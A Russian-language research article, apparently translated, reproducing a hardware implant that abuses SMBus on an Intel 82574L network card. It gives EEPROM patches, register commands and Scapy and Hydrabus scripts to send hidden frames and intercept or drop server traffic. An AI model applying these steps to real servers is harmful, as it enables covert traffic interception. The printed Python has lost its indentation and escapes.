История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной. После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения).
Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами. Вот что конкретно подогрело наш интерес:
Легальный сервер отправлял сообщения одним способом, имплант – другим, но казалось, что весь трафик происходит от одного доверенного сервера.
Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.
Начальная позиция
Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.
IPMI
Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.
На следующей блок-схеме показан возможный путь реализации проекта:
IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом. Так что пока остановимся на SMBus.
SMBus
SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I2C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.
Первый контакт
Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.
Доступ к SMBus
Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?
В документации можно отследить SMB_DAT и SMB_ALRT_N. К счастью, все они оказались доступными в заголовках. Вроде бы всё достаточно легко.
NIC PCB. Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT]. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.
Мы подключили зонд I2C и просканировали SMBus, но ничего полезного не считали. Документация говорит, что SMBus включается только при установке определённого битового регистра. Это значение загружается с EEPROM. Пришло время копнуть глубже.
Включаем доступ к SMBus
Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:
> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.
Судя по NVM map (глава 6.1 документации), видно, что нам надо изменить два значения:
- Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
- Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
- Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)
Нужно только учесть, что в EEPROM данные хранятся в формате little endian.
После этого нам надо ещё разобраться со значением Checksum. В главе 6.1.2.11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA. Немного Python поможет нам подсчитать правильную контрольную сумму:
import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff
print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb
И вот, наконец, все наши изменения для EEPROM:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.
< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....
После внесения изменений и прошивки EEPROM мы подсоединили I2C зонд и:
i2c1> scan
Device found at address 0x49
i2c1>
Адрес I2C кодируется в семи битах, требуемый нам адрес получается, как 0x49 << 1 = 0x92.
Теперь у нас есть рабочая схема для нашего импланта. Мы можем отправлять команды в NIC:
Получение информации
Как вы могли догадаться, мы продолжили читать документацию и отправлять специально подготовленные команды на NIC для проверки того, что всё работает, как ожидалось.
В документации описано всё, что нужно знать о формате транзакций, в главе 8.4.4. Разница только в том, что нам не надо подсчитывать PEC (контрольная сумма для SMBus, которая подсчитывается для каждого пакета). К примеру, мы можем отправить команду CMD по адресу SLAVE, используя следующую последовательность:
[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START] и [STOP] – это условия START и STOP, определяемые протоколом I2C.
К примеру, команда на чтение MAC-адреса (описанная в главе 8.8.2.3) будет 0xD4. Отправляем команду в SMBus в режиме I2C:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
При переводе в команды Hydrabus это будет:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP
И, да, мы получаем наш MAC-адрес!
Делаем имплант
Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.
Отправка пакетов
Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:
import serial
import struct
from scapy.all import *
ser = serial.Serial('/dev/ttyACM0',115200)
def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))
# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)
# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('x08'+fulllen+'x00x00')
ser.write("x92xc4"+pktlen+pkt)
# If packet has been sent successfully
if ser.read(1) == 'x01':
print "Send OK"
else:
print "Error sending"
ser.write('x00')
ser.write('x00')
ser.write('x0Fn')
quit()
# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()
# Switch to I2C mode
ser.write('x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()
#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()
#Send the frame
send_frame(str(p))
# Return to main binary mode
ser.write('x00')
#reset to console mode
ser.write('x0Fn')
После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:
Tcpdump с машины атакующего слева, сервера – справа
Чтение пакетов
Фильтрация
Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:
- Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
- Можно заставить трафик исчезнуть, направив его только на SMBus.
- Можно создать скрытый канал, который не будет виден серверу с имплантом.
Что самое интересное, фильтр можно настроить на отслеживание различных элементов фрейма:
- UDP/TCP port
- VLAN
- IPv4 – IPv6
- MAC address
- …
(Полный список представлен в главе 8.4.2.1)
Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8.4.3).
Реализация
Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.
Используя наш I2P-зонд, мы можем настроить всё это четырьмя командами:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Как описано в главе 8.8.1.3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8.4.5).
Чтение фреймов
Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.
Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает. Схема выглядит так:
- У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
- Имплант симулируется при помощи Hydrabus.
- Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:
from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)
Получается нечто интересное:
Слева SMBus читает фрейм, данные фрейма показаны внизу. Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов.
Ретрансляция фреймов
Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант. При этом сервер отвечает на запрос – а значит, пакет был правильно перенаправлен на SMBus и PCIe:
Вверху – перехваченный SNMP-запрос с импланта. Внизу — SNMP-запрос дошёл до сервера.
Заключения
Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:
- Прослушивание входящего сетевого трафика на сервер.
- Получение команд из сети без ведома сервера.
- Передача данных по сети без ведома сервера.
В нашем примере для простоты в качестве интерфейса для I2C/SMBus использовался Hydrabus, но это можно будет сделать так же легко и на небольшом микроконтроллере, например, ATtiny85 (он размером примерно с EEPROM для NIC).
Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.
Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. Кроме того, имплант способен перехватывать только трафик, приходящий из сети. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.
Автор: Вячеслав Голованов